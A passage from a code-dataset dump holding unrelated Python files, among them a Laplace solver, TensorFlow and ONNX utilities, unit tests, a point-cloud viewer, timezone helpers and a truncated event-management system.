FINAL/FINAL#1.py","file_name":"FINAL#1.py","file_ext":"py","file_size_in_byte":1202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"268778566","text":"##---Jafet Israel Sierra---##\n##---Universidad Nacional de Colombia---##\n##---Resolucion numerica de la ecuacion de laplace---##\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import axes3d\n\nP = np.zeros((100,100))\n\nfor n in range(1,40,1):\n for n in range(1,98,1):\n for m in range(1,98,1):\n if ( 35>=n>=33 and 48<=m<=50 ):\n P[n,m] = 1\n elif(68<=n<=70 and 48<=m<=50):\n P[n,m] = -1\n elif( n ==98 or m ==98 ):\n P[n,m] = 0\n else:\n P[n,m] = (P[n+1,m] + P[n-1,m] + P[n,m+1] +P[n,m-1])/4\n\nx = np.arange(0,100,1)\ny = np.arange(0,100,1)\nX, Y = np.meshgrid(x,y)\nz = np.array([P[x,y] for x,y in zip(np.ravel(X), np.ravel(Y))])\nZ = z.reshape(X.shape)\n\nfig = plt.figure(1, figsize=(10,10))\nax = fig.gca(projection='3d')\nsurf = ax.plot_surface(X,Y,Z, rstride=3,cstride=3, cmap='Blues', alpha=0.8,linewidth=0.7)\ncset = ax.contourf(X,Y,Z,zdir ='x', offset=0,cmap='Oranges')\n#cset = ax.contourf(X,Y,Z,zdir='y', offset=100, cmap='Blues')\ncset = ax.contourf(X,Y,Z,zdir ='z', offset=-1.5, cmap='Purples')\nax.set_xlim()\nax.set_ylim()\nax.set_zlim(-1.5,1.5)\nax.set_title('Delta V en posiciones adyancentes a electrodos ')\nax.set_zlabel('Potencial (Volts)')\nax.set_xlabel('nm')\nax.set_ylabel('nm')\nfig.colorbar(surf, shrink =0.5, aspect=10)\nplt.show()\n","sub_path":"Ecuacion_de_laplace.py","file_name":"Ecuacion_de_laplace.py","file_ext":"py","file_size_in_byte":1372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"363667223","text":"\"\"\"\nEvaluates a MNIST Convolutional Neural Network.\n\nImplements the evaluate pattern for model evaluation.\n\n1. evaluate() - Adds the evaluation Ops to evaluate the model accuracy.\n\nThis file is not meant to be run.\n\"\"\"\n\nimport tensorflow as tf\n\n\ndef evaluate(logits, labels):\n \"\"\"\n * Sets up the evaluation Ops.\n * Creates a summarizer to track the accuracy over time in TensorBoard.\n * The Op returned by this function is what must be passed to the `sess.run()` call to cause the model to be evaluated.\n\n :param logits: Logits tensor, from inference().\n :param labels: True labels.\n :return: accuracy: The Op for evaluating accuracy.\n \"\"\"\n\n with tf.name_scope('accuracy'):\n with tf.name_scope('correct_prediction'):\n correct_prediction = tf.equal(tf.argmax(logits, 1), tf.argmax(labels, 1))\n\n with tf.name_scope('accuracy'):\n accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\n\n tf.scalar_summary('accuracy', accuracy)\n\n return accuracy\n","sub_path":"hands_on_tensorflow/solutions/mnist_1_softmax_regression/evaluation.py","file_name":"evaluation.py","file_ext":"py","file_size_in_byte":1027,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"16286587","text":"# Copyright (c) 2021, NVIDIA CORPORATION. All rights reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport logging\n\nimport tensorflow as tf\n\nDISPLAY_ID_COLUMN = \"display_id\"\n\nNUMERIC_COLUMNS = [\n \"document_id_document_id_promo_sim_categories\",\n \"document_id_document_id_promo_sim_topics\",\n \"document_id_document_id_promo_sim_entities\",\n \"document_id_promo_ctr\",\n \"publisher_id_promo_ctr\",\n \"source_id_promo_ctr\",\n \"document_id_promo_count\",\n \"publish_time_days_since_published\",\n \"ad_id_ctr\",\n \"advertiser_id_ctr\",\n \"campaign_id_ctr\",\n \"ad_id_count\",\n \"publish_time_promo_days_since_published\",\n]\n\nCATEGORICAL_COLUMNS = [\n \"ad_id\",\n \"document_id\",\n \"platform\",\n \"document_id_promo\",\n \"campaign_id\",\n \"advertiser_id\",\n \"source_id\",\n \"geo_location\",\n \"geo_location_country\",\n \"geo_location_state\",\n \"publisher_id\",\n \"source_id_promo\",\n \"publisher_id_promo\",\n]\n\nHASH_BUCKET_SIZES = {\n \"document_id\": 300000,\n \"ad_id\": 250000,\n \"document_id_promo\": 100000,\n \"source_id_promo\": 4000,\n \"source_id\": 4000,\n \"geo_location\": 2500,\n \"advertiser_id\": 2500,\n \"geo_location_state\": 2000,\n \"publisher_id_promo\": 1000,\n \"publisher_id\": 1000,\n \"geo_location_country\": 300,\n \"platform\": 4,\n \"campaign_id\": 5000,\n}\n\nEMBEDDING_DIMENSIONS = {\n \"document_id\": 128,\n \"ad_id\": 128,\n \"document_id_promo\": 128,\n \"source_id_promo\": 64,\n \"source_id\": 64,\n \"geo_location\": 64,\n \"advertiser_id\": 64,\n \"geo_location_state\": 64,\n \"publisher_id_promo\": 64,\n \"publisher_id\": 64,\n \"geo_location_country\": 64,\n \"platform\": 19,\n \"campaign_id\": 128,\n}\n\nEMBEDDING_TABLE_SHAPES = {\n column: (HASH_BUCKET_SIZES[column], EMBEDDING_DIMENSIONS[column])\n for column in CATEGORICAL_COLUMNS\n}\n\n\ndef get_features_keys():\n return CATEGORICAL_COLUMNS + NUMERIC_COLUMNS + [DISPLAY_ID_COLUMN]\n\n\ndef get_feature_columns():\n logger = logging.getLogger(\"tensorflow\")\n wide_columns, deep_columns = [], []\n\n for column_name in CATEGORICAL_COLUMNS:\n if column_name in EMBEDDING_TABLE_SHAPES:\n categorical_column = tf.feature_column.categorical_column_with_identity(\n column_name, num_buckets=EMBEDDING_TABLE_SHAPES[column_name][0]\n )\n wrapped_column = tf.feature_column.embedding_column(\n categorical_column,\n dimension=EMBEDDING_TABLE_SHAPES[column_name][1],\n combiner=\"mean\",\n )\n else:\n raise ValueError(f\"Unexpected categorical column found {column_name}\")\n\n wide_columns.append(categorical_column)\n deep_columns.append(wrapped_column)\n\n numerics = [\n tf.feature_column.numeric_column(column_name, shape=(1,), dtype=tf.float32)\n for column_name in NUMERIC_COLUMNS\n if column_name != DISPLAY_ID_COLUMN\n ]\n\n wide_columns.extend(numerics)\n deep_columns.extend(numerics)\n\n logger.warning(\"deep columns: {}\".format(len(deep_columns)))\n logger.warning(\"wide columns: {}\".format(len(wide_columns)))\n logger.warning(\n \"wide&deep intersection: {}\".format(\n len(set(wide_columns).intersection(set(deep_columns)))\n )\n )\n\n return wide_columns, deep_columns\n","sub_path":"TensorFlow2/Recommendation/WideAndDeep/data/outbrain/features.py","file_name":"features.py","file_ext":"py","file_size_in_byte":3791,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"418760538","text":"\"\"\"Test ScoredKeyword\"\"\"\nimport typing\n\nfrom src.oolongt.constants import KEYWORD_SCORE_K\nfrom src.oolongt.parser.scored_keyword import (\n ScoredKeyword, compare_keywords, compare_score, compare_word,\n score_keyword)\nfrom tests.helpers import check_exception\nfrom tests.params.parser import (\n param_compare_keywords, param_compare_score, param_compare_word,\n param_score_keyword, parametrize_words)\n\n\n@param_score_keyword()\ndef test_score_keyword(\n count: int,\n total: int,\n expected: typing.Union[float, Exception]):\n \"\"\"Test score_keyword in parser subpackage\n\n Arguments:\n count {int} -- instances of word in text\n total {int} -- total number of words in text\n expected {typing.Union[float, Exception]} -- expected outcome\n \"\"\"\n try:\n received = score_keyword(count, total)\n\n except Exception as err: # pylint: disable=broad-except\n received = check_exception(err, expected)\n\n assert received == expected\n\n\n@param_compare_score()\ndef test_compare_score(score_a: float, score_b: float, expected: int):\n \"\"\"Test compare_score in parser subpackage\n\n Arguments:\n score_a {float} -- score A\n score_b {float} -- score B\n expected {int} -- comparison of values\n \"\"\"\n received = compare_score(score_a, score_b)\n\n assert received == expected\n\n\n@param_compare_word()\ndef test_compare_word(word_a: str, word_b: str, expected: int):\n \"\"\"Test compare_word in parser subpackage\n\n Arguments:\n word_a {str} -- word A\n word_b {str} -- word B\n expected {int} -- comparison of values\n \"\"\"\n received = compare_word(word_a, word_b)\n\n assert received == expected\n\n\n@param_compare_keywords()\ndef test_compare_keywords(\n kw_a: ScoredKeyword,\n kw_b: ScoredKeyword,\n is_lt: bool,\n is_eq: bool,\n reason: str):\n \"\"\"Test compare_keywords in parser subpackage\n\n Arguments:\n kw_a {ScoredKeyword} -- keyword A\n kw_b {ScoredKeyword} -- keyword B\n is_lt {bool} -- keyword A is Less Than keyword B\n is_eq {bool} -- keyword A is EQual to keyword B\n \"\"\"\n equality = (0, 0, 0)\n received = compare_keywords(kw_a, kw_b)\n assert_msg = 'reason: {}'.format(\n {'s': 'score', 'l': 'length', 'w': 'word'}[reason])\n\n if is_lt:\n assert received < equality, assert_msg\n\n elif is_eq:\n assert received == equality, assert_msg\n\n else:\n assert received > equality, assert_msg\n\n\n# pylint: disable=no-self-use,invalid-name\nclass TestScoredKeyword:\n \"\"\"Test `ScoredKeyword`\"\"\"\n @parametrize_words()\n def test___init__(self, word: str, count: int, total: int):\n \"\"\"Test `ScoredKeyword` initialization\n\n Arguments:\n word {str} -- word property of ScoredKeyword\n count {int} -- count property of ScoredKeyword\n total {int} -- of property of ScoredKeyword\n \"\"\"\n expected = (word, count, total, KEYWORD_SCORE_K)\n\n inst = ScoredKeyword(word, count, total)\n received = (inst.word, inst.count, inst.of, inst.score)\n\n assert received == expected\n\n @parametrize_words()\n def test___str__(self, word: str, count: int, total: int):\n \"\"\"Test `ScoredKeyword` string cast\n\n Arguments:\n word {str} -- word property of ScoredKeyword\n count {int} -- count property of ScoredKeyword\n total {int} -- of property of ScoredKeyword\n \"\"\"\n expected = word\n\n inst = ScoredKeyword(word, count, total)\n received = inst.word\n\n assert received == expected\n\n @parametrize_words()\n def test___repr__(self, word: str, count: int, total: int):\n \"\"\"Test `ScoredKeyword` REPR\n\n Arguments:\n word {str} -- word property of ScoredKeyword\n count {int} -- count property of ScoredKeyword\n total {int} -- of property of ScoredKeyword\n \"\"\"\n expected = 'ScoredKeyword({!r}, {}, {})'.format(word, count, total)\n\n inst = ScoredKeyword(word, count, total)\n received = repr(inst)\n\n assert received == expected\n","sub_path":"tests/parser/test_scored_keyword.py","file_name":"test_scored_keyword.py","file_ext":"py","file_size_in_byte":4154,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"219135920","text":"#-------------------------------------------------------------------------\n# Copyright (c) Microsoft Corporation. All rights reserved.\n# Licensed under the MIT License. See License.txt in the project root for\n# license information.\n#--------------------------------------------------------------------------\n\nimport sklearn\nfrom ...proto import onnx_proto\nfrom ..common import register_converter\nfrom ..common import NodeBuilder\nfrom ..common import utils\nfrom ..common import model_util\n\n\nclass LabelEncoderConverter:\n\n @staticmethod\n def validate(sk_node):\n try:\n utils._check_has_attr(sk_node, 'classes_')\n except AttributeError as e:\n raise RuntimeError(\"Missing type from sklearn node:\" + str(e))\n\n @staticmethod\n def convert(context, sk_node, inputs):\n nb = NodeBuilder(context, \"LabelEncoder\", op_domain='ai.onnx.ml')\n nb.add_attribute('classes_strings', [str(c) for c in sk_node.classes_])\n nb.extend_inputs(inputs)\n try:\n if inputs[0].type.tensor_type.elem_type == onnx_proto.TensorProto.STRING:\n output_type = onnx_proto.TensorProto.INT64\n nb.add_attribute('default_int64', -1)\n elif inputs[0].type.tensor_type.elem_type == onnx_proto.TensorProto.INT64:\n output_type = onnx_proto.TensorProto.STRING\n nb.add_attribute('default_string', '__unknown__')\n else:\n raise ValueError()\n except AttributeError as e:\n raise ValueError('Invalid or missing input type for LabelEncoder.')\n try:\n output_dim = [d.dim_value for d in inputs[0].type.tensor_type.shape.dim]\n except AttributeError as e:\n raise ValueError('Invalid or missing input dimension for LabelEncoder.')\n nb.add_output(model_util.make_tensor_value_info(nb.name, output_type, output_dim))\n\n return nb.make_node()\n\n\n# Register the class for processing\nregister_converter(sklearn.preprocessing.LabelEncoder, LabelEncoderConverter)\n","sub_path":"onnxmltools/convert/sklearn/LabelEncoderConverter.py","file_name":"LabelEncoderConverter.py","file_ext":"py","file_size_in_byte":2044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"227401260","text":"from tools import JsonTools\r\nimport os\r\n\r\njsontools=JsonTools()\r\ntestrun=jsontools.loadjson(\"testrun.json\")\r\nfor test in testrun:\r\n call = \"python Tests\\\\\"+ test[\"test_name\"] +\".py\"\r\n for arg in test[\"args\"]:\r\n #print((test[\"args\"])[arg])\r\n call+=\" --\"+arg+\"=\"+(test[\"args\"])[arg]\r\n os.system(call)","sub_path":"runner.py","file_name":"runner.py","file_ext":"py","file_size_in_byte":319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"239942830","text":"import os.path\nimport re\nimport urllib\n\nfrom epidb_interaction import PopulatorEpidbClient\nfrom dataset import Dataset\nfrom log import log\nfrom repository import Repository\n\n\n\"\"\"\nThis repository is used to load the old (a.k.a FTP distributed) ENCODE's data.\nCurrently, I am rolling it back because I want to import the segmentation data\n that it is not available in the new ENCODE's API.\n\"\"\"\nclass EncodeRepositoryFTP(Repository):\n def __init__(self, proj, genome, path):\n super(EncodeRepositoryFTP, self).__init__(proj, genome, [\"broadPeak\", \"narrowPeak\", \"bed\"], path)\n\n def __str__(self):\n return \"\" % (self.path, self.data_types)\n\n @property\n def index_path(self):\n \"\"\"\n index_path is the path to the file which contains information of all\n datasets in the repository.\n \"\"\"\n return os.path.join(self.path, \"files.txt\")\n\n def read_datasets(self):\n \"\"\"\n read_datasets analyses the repositorie's index file and flags\n new datasets.\n \"\"\"\n epidb = PopulatorEpidbClient()\n\n epigenetic_mark = None\n\n new = 0\n f = urllib.urlopen(self.index_path)\n for line in f:\n s = line.strip().split(None, 1)\n file_name, meta_s = s[0], s[1]\n\n meta = {}\n for kv in meta_s.split(\"; \"):\n fs = kv.split(\"=\")\n meta[fs[0]] = fs[1]\n\n if \"objStatus\" in meta:\n # do not include obsolete datasets\n if meta[\"objStatus\"].startswith(\"renamed\") or \\\n meta[\"objStatus\"].startswith(\"replaced\") or \\\n meta[\"objStatus\"].startswith(\"revoked\"):\n log.info(\"Not including obsolete dataset %s\", line.strip())\n continue\n\n if \"dataType\" not in meta:\n log.info(\"Line %s from %s does not have datatype\" % (line, self.path))\n continue\n\n r = re.findall('[A-Z][a-z]*', meta[\"composite\"])\n\n if r[-2] in [\"Haib\", \"Sydh\", \"Broad\", \"Uw\", \"Uchicago\", \"Psu\", \"Licr\", \"Caltech\"]:\n # filter out project/instutute names\n em = r[-1]\n else:\n em = r[-2] + r[-1]\n\n if not epigenetic_mark:\n epigenetic_mark = em\n elif epigenetic_mark and epigenetic_mark != em:\n log.info(\"datatype was set %s but new is %s\" , epigenetic_mark, em)\n\n meta[\"epigenetic_mark\"] = epigenetic_mark\n\n if epigenetic_mark == \"Histone\" and meta[\"antibody\"].find(\"_\") != -1:\n meta[\"antibody\"] = meta[\"antibody\"].split(\"_\")[0]\n\n sample_biosource = meta[\"cell\"]\n\n if sample_biosource == \"HSMM\":\n sample_biosource = 'skeletal muscle myoblast'\n if sample_biosource == \"NHLF\":\n sample_biosource = \"fibroblast of lung\"\n\n\n sample_metadata = {\"source\":\"ENCODE FTP\"}\n (status, samples_id) = epidb.list_samples(sample_biosource, sample_metadata)\n\n if status == \"okay\" and len(samples_id):\n sample_id = samples_id[0][0]\n else:\n log.critical(samples_id)\n log.info(\"Sample for biosource %s was not found in the old ENCODE FTP data. Dont worry! We are going to create a new sample. \", meta[\"cell\"])\n (status, sample_id) = epidb.add_sample(sample_biosource, sample_metadata)\n if (status != \"okay\"):\n log.critical(\"Not possible to create a new sample for %s - %s\", sample_biosource, str(sample_metadata))\n continue\n\n # First (and only element) and them get its ID\n size = meta[\"size\"]\n suf = size[-1].lower()\n value = float(size[:-1])\n\n if suf == 'k':\n s = value * 1024\n elif suf == 'm':\n s = value * 1024 * 1024\n elif suf == 'g':\n s = value * 1024 * 1024 * 1024\n else:\n s = value\n\n meta[\"size\"] = s\n\n ds = Dataset(file_name, meta[\"type\"], meta, sample_id=sample_id)\n if self.add_dataset(ds):\n new += 1\n self.has_updates = True\n\n log.info(\"found %d new datasets in %s\", new, self)","sub_path":"src/encode_repository_ftp.py","file_name":"encode_repository_ftp.py","file_ext":"py","file_size_in_byte":4379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"217202141","text":"list1 = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9] \nlist1.reverse()#翻转数组\n#print(list1)\n\nlist2 = [] #列表推广用方括号,阔起来\nfor i in list1 : #注意冒号。一定得写\n i = str(i) #str字符串的定义类型,有str的下一步就是想把数组或者字母弄成字符串类型\n list2.append(i) #将数组转化成字符串组 \n#print(list2)\nstr1 = '' #字符串一等于\nstr1 = str1.join(list2)#拼接成字符串\n#print(str1) #相当于把字符串都连在一块了\nstr2 = str1[2:8] #用字符串切片的方式,取出第三到第八个字符\n#print(str2) \nlist3 = list(str2) #将数组继续弄成列表的形式\nlist3 = list3.reverse \nstr3 = str(list3) #转化成字符串的形式,以便下一步转换成整型 \nstr3 = int(str2) #转化成int类型,整型\n#print(str3)\n\nnumber1 = bin(str3) #转化成二进制\nnumber2 = oct(str3) #转化成八进制\nnumber3 = hex(str3)#进制数转换 \nprint(number1,number2,number3,sep='\\n')","sub_path":"exercises/1901010056/1001S02E05_array.py","file_name":"1001S02E05_array.py","file_ext":"py","file_size_in_byte":1033,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"459103774","text":"import open3d as o3d\nimport numpy as np\nfrom DiceSimple import Samples\nimport os\nimport connect.leggo\nfrom pyquaternion import Quaternion\n\ndef pose(xyz, rot = None):\n m = np.identity(4)\n m[0:3,3] = xyz\n if rot is not None:\n m[0:3, 0:3] = rot\n return m\n\ndef show(xyz, XYZ):\n pcd = o3d.geometry.PointCloud()\n pcd.points = o3d.utility.Vector3dVector(xyz)\n\n obs = [pcd]\n for ifor in range(XYZ.shape[0]):\n sp = o3d.create_mesh_sphere(0.05).transform(pose(XYZ[ifor, :]))\n obs.append(sp)\n o3d.draw_geometries(obs)\n\nclass ViewRip():\n\n def __init__(self, fileIn, superPoints):\n if len(fileIn):\n fileIn = os.path.expanduser(fileIn)\n print(\"Loading file {}\".format(fileIn))\n self.pcd = o3d.io.read_point_cloud(fileIn)\n self.xyz = np.asarray(self.pcd.points)\n print(\"File loaded with {} points\".format(self.xyz.shape[0]))\n self.showObjects = [self.pcd]\n else:\n self.showObjects = []\n\n self.superPoints = superPoints\n self.addSamples(R = 0.055)\n self.addHeads()\n self.addTails()\n o3d.draw_geometries(self.showObjects)\n\n def addSamples(self, R = None):\n for ifor in range(len(self.superPoints)):\n center, radius = self.superPoints[ifor]\n if R is None:\n R = radius\n sphere = o3d.create_mesh_sphere(R).transform(pose(center))\n sphere.paint_uniform_color([0.1, 0.1, 0.7])\n sphere.compute_vertex_normals()\n self.showObjects.append(sphere)\n\n def addCylinder(self, start, end, rotate=True, color=[0.9, 0.0, 0.3]):\n length = np.linalg.norm(start - end)\n n = (end - start) / length\n phi = np.arccos(n[2])\n theta = np.arctan2(n[1], n[0])\n\n theta_quat = Quaternion(axis=[0, 0, 1], angle=theta)\n vprime = theta_quat.rotate([0, 1., 0.])\n phi_quat = Quaternion(axis=vprime, angle=phi)\n rot = phi_quat.rotation_matrix\n\n cyl = o3d.create_mesh_cylinder(0.05, length)\n if rotate:\n cyl = cyl.transform(pose(np.array((start + end) / 2.0), rot))\n # .transform(pose(center))\n cyl.paint_uniform_color(color)\n cyl.compute_vertex_normals()\n self.showObjects.append(cyl)\n\n def addHeads(self):\n if \"head\" in self.superPoints.df.keys():\n for ifor in range(len(self.superPoints)):\n start = self.superPoints.df.iloc[ifor].at['centers']\n head = self.superPoints.df.iloc[ifor].at['head']\n if head != -1:\n try:\n end = self.superPoints.df.loc[head].at['centers']\n self.addCylinder(start, end)\n except:\n pass\n\n def addTails(self):\n if \"head\" in self.superPoints.df.keys():\n for ifor in range(len(self.superPoints)):\n start = self.superPoints.df.iloc[ifor].at['centers']\n head = self.superPoints.df.iloc[ifor].at['tail']\n if head != -1:\n try:\n end = self.superPoints.df.loc[head].at['centers']\n self.addCylinder(start, end, True, [0,1,0])\n except:\n pass\n\nif __name__ == '__main__':\n pairs = [('~/cheap.pcd', 'superPoints/pointsDataFrameB.pkl'),\n ('~/sites/tetraTech/BoilerRoom/chunk_cheap.pcd', 'superPoints/chunk_cheap.pkl'),\n ('~/sites/tetraTech/BoilerRoom/full_5mm.pcd', 'superPoints/full_5mm.pkl'),\n ('~/cheap.pcd', 'superPoints/chunk_cheapC.pkl'),\n ('', 'superPoints/chunk_cheapC.pkl'),\n ('', 'superPoints/synthA.pkl')]\n pair = pairs[-2]\n\n superPoints = Samples()\n superPoints.load(pair[1])\n print(\"Length pre filter {}\".format(len(superPoints)))\n #superPoints.filter(classNumber='circle')\n #superPoints.filterGreater('objectness', 0.3)\n superPoints = connect.leggo.orphanFilter(superPoints, N=3)\n\n print(\"Length post filter {}\".format(len(superPoints)))\n VR = ViewRip(pair[0], superPoints)\n print(superPoints.df.head(100))\n print(superPoints.df.keys())","sub_path":"ViewRip.py","file_name":"ViewRip.py","file_ext":"py","file_size_in_byte":4235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"300242663","text":"import pytz\nimport time\nfrom pytz import timezone\nfrom datetime import datetime as dt\n\nCST = timezone(\"US/Central\")\nGMT = timezone(\"Europe/London\")\nEUR = timezone(\"Europe/Rome\")\n\n# Get string with date\ndef GetDateString(iTime):\n naive = dt.utcfromtimestamp(iTime)\n aware = pytz.UTC.localize(naive)\n local = aware.astimezone(CST).strftime('%d %B %y')\n return local\n\n# Get string with time\ndef GetTimeString(iTime):\n naive = dt.utcfromtimestamp(iTime)\n aware = pytz.UTC.localize(naive)\n local = aware.astimezone(CST).strftime('%H:%M:%S')\n return local\n\n# Get a unix timestamp for Chicago\ndef GetChicagoTimestamp(year,month,day,hour,minute,second):\n naive = dt(year,month,day,hour,minute,second)\n aware = CST.localize(naive).astimezone(pytz.utc)\n unixtime = time.mktime(aware.timetuple())\n return unixtime\n\n# Get a unix timestamp for Chicago from dtObj\ndef GetChicagoTimestampDT(dtObj):\n aware = CST.localize(dtObj).astimezone(pytz.utc)\n unixtime = time.mktime(aware.timetuple())\n return int(unixtime)\n\n# Move a datetime object (dtObj) -\n# - by a certain amount (secForward) of seconds forward\n# [Doesn't need to be localized because it is self-consistent]\ndef MoveDatetimeForward(dtObj,secForward):\n return dt.fromtimestamp(time.mktime(dtObj.timetuple()) + secForward)\n","sub_path":"Utilities/TimestampDateConverter/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":1315,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"54627380","text":"import csv\r\nfrom .Course import *\r\nfrom .Seminar import *\r\nfrom .Staff import *\r\nfrom .Student import *\r\nfrom .Guest import *\r\nfrom .Error import *\r\n\r\nclass EMS:\r\n __id = -1 #course/event id\r\n __sid = -1 #session id\r\n\r\n def __init__(self):\r\n self._openEvent = []\r\n self._closeEvent = []\r\n self._UNSWMember = []\r\n self._guest = []\r\n\r\n @property\r\n def openEvent(self):\r\n return self._openEvent\r\n\r\n @property\r\n def closeEvent(self):\r\n return self._closeEvent\r\n\r\n @property\r\n def UNSWMember(self):\r\n return self._UNSWMember\r\n\r\n @property\r\n def guest(self):\r\n return self._guest\r\n\r\n def _generate_id(self):\r\n EMS.__id += 1\r\n return EMS.__id\r\n\r\n def _generate_sid(self):\r\n EMS.__sid += 1\r\n return EMS.__sid\r\n\r\n def addOpenEvent(self, event):\r\n self.openEvent.append(event)\r\n\r\n def removeOpenEvent(self,event):\r\n self.openEvent.remove(event)\r\n\r\n #search open events\r\n #pass in key words\r\n #return a list of events whose name contains that key words\r\n def search_open_events(self, name):\r\n current_list = []\r\n for event in self.openEvent:\r\n if name.lower() in event.name.lower():\r\n current_list.append(event)\r\n return current_list\r\n\r\n def addUNSWMember(self, member):\r\n self.UNSWMember.append(member)\r\n\r\n def addGuest(self, guest):\r\n self.guest.append(guest)\r\n\r\n def getUNSWMember(self, username):\r\n for person in self.UNSWMember:\r\n if person.username == username:\r\n return person\r\n return None\r\n\r\n #get speaker by email\r\n def get_guest_by_email(self, email):\r\n for person in self.guest:\r\n if email.lower() == person.email.lower():\r\n return person\r\n\r\n for person in self.UNSWMember:\r\n if isinstance(person, Staff):\r\n if email.lower() == person.email.lower():\r\n return person\r\n return None\r\n\r\n def getOpenEvent(self, name):\r\n for event in self.openEvent:\r\n if event.name == name:\r\n return event\r\n return None\r\n\r\n def getAllEvent(self, id):\r\n for event in self.openEvent:\r\n if id == event.id:\r\n return event\r\n for event in self.closeEvent:\r\n if id == event.id:\r\n return event\r\n\r\n def create_open_course(self, user, name, status, date, time, location, maxAttendees, deRegWindow, fee, earlyRegDate, abstractInfo):\r\n date_format = \"%Y-%m-%d\"\r\n time_format = \"%H:%M\"\r\n\r\n errors = check_creating_course_error(name, status, date, time, location, maxAttendees, deRegWindow, fee, earlyRegDate, abstractInfo)\r\n if errors != {}:\r\n raise InputError(errors)\r\n else:\r\n date = datetime.strptime(date, date_format).date()\r\n time = datetime.strptime(time, time_format).time()\r\n deRegWindow = datetime.strptime(deRegWindow, date_format).date()\r\n earlyRegDate = datetime.strptime(earlyRegDate, date_format).date()\r\n maxAttendees = int(maxAttendees)\r\n fee = int(fee)\r\n\r\n id = self._generate_id()\r\n course = Course(id, name, status, date, time, location, maxAttendees, deRegWindow, fee, earlyRegDate, abstractInfo, user)\r\n user.createCourse(course)\r\n self.addOpenEvent(course)\r\n\r\n def create_open_seminar(self, user, name, status, abstractInfo, sname, sstatus, sdate, stime, slocation, smaxAttendees, sdeRegWindow, sfee, searlyRegDate, sabstractInfo, speaker_name, speaker_email):\r\n date_format = \"%Y-%m-%d\"\r\n time_format = \"%H:%M\"\r\n\r\n errors = check_creating_seminar_error(name, status, abstractInfo, sname, sstatus, sdate, stime, slocation, smaxAttendees, sdeRegWindow, sfee, searlyRegDate, sabstractInfo, speaker_name, speaker_email)\r\n if errors == {}:\r\n if not self.get_guest_by_email(speaker_email):\r\n errors['ineligibleSpeaker'] = 'Please specify an eligible speaker'\r\n if 'ineligibleSpeaker' not in errors:\r\n if self.get_guest_by_email(speaker_email).username.lower() != speaker_name.lower():\r\n errors['speakerMismatch'] = 'Speaker email and name not match'\r\n if errors != {}:\r\n raise InputError(errors)\r\n else:\r\n sdate = datetime.strptime(sdate, date_format).date()\r\n sdeRegWindow = datetime.strptime(sdeRegWindow, date_format).date()\r\n searlyRegDate = datetime.strptime(searlyRegDate, date_format).date()\r\n smaxAttendees = int(smaxAttendees)\r\n sfee = int(sfee)\r\n\r\n speaker= self.get_guest_by_email(speaker_email)\r\n id = self._generate_id()\r\n sid = self._generate_sid()\r\n seminar = Seminar(id, name, status, abstractInfo)\r\n session = Session(sid, sname, sstatus, sdate, stime, slocation, int(smaxAttendees), sdeRegWindow, int(sfee), searlyRegDate, sabstractInfo, speaker)\r\n user.createSeminar(seminar, session)\r\n self.addOpenEvent(seminar)\r\n\r\n def add_session(self, user, seminar, sname, sstatus, sdate, stime, slocation, smaxAttendees, sdeRegWindow, sfee, searlyRegDate, sabstractInfo, speaker_name, speaker_email):\r\n date_format = \"%Y-%m-%d\"\r\n time_format = \"%H:%M\"\r\n\r\n seminar = seminar\r\n errors = check_creating_seminar_error(seminar.name, seminar.status, seminar.abstractInfo, sname, sstatus, sdate, stime, slocation, smaxAttendees, sdeRegWindow, sfee, searlyRegDate, sabstractInfo, speaker_name, speaker_email)\r\n\r\n if errors == {}:\r\n if not self.get_guest_by_email(speaker_email):\r\n errors['ineligibleSpeaker'] = 'Please specify an eligible speaker'\r\n if 'ineligibleSpeaker' not in errors:\r\n if self.get_guest_by_email(speaker_email).username.lower() != speaker_name.lower():\r\n errors['speakerMismatch'] = 'Speaker email and name not match'\r\n if errors != {}:\r\n raise InputError(errors)\r\n else:\r\n sdate = datetime.strptime(sdate, date_format).date()\r\n sdeRegWindow = datetime.strptime(sdeRegWindow, date_format).date()\r\n searlyRegDate = datetime.strptime(searlyRegDate, date_format).date()\r\n smaxAttendees = int(smaxAttendees)\r\n sfee = int(sfee)\r\n\r\n if user.avoid_creator(seminar) == True:\r\n return False\r\n\r\n speaker= self.get_guest_by_email(speaker_email)\r\n sid = self._generate_sid()\r\n session = Session(sid, sname, sstatus, sdate, stime, slocation, smaxAttendees, sdeRegWindow, sfee, searlyRegDate, sabstractInfo, speaker)\r\n user.addSession(seminar, session)\r\n\r\n def change_course_status(self, user, course, status):\r\n if user.changeCourseStatus(course, status) == False:\r\n return False\r\n self.removeOpenEvent(course)\r\n self.closeEvent.append(course)\r\n\r\n def change_seminar_status(self, user, seminar, status):\r\n if user.changeSeminarStatus(seminar, status) == False:\r\n return False\r\n self.removeOpenEvent(seminar)\r\n self.closeEvent.append(seminar)\r\n\r\n def change_session_status(self, user, seminar, session, status):\r\n if 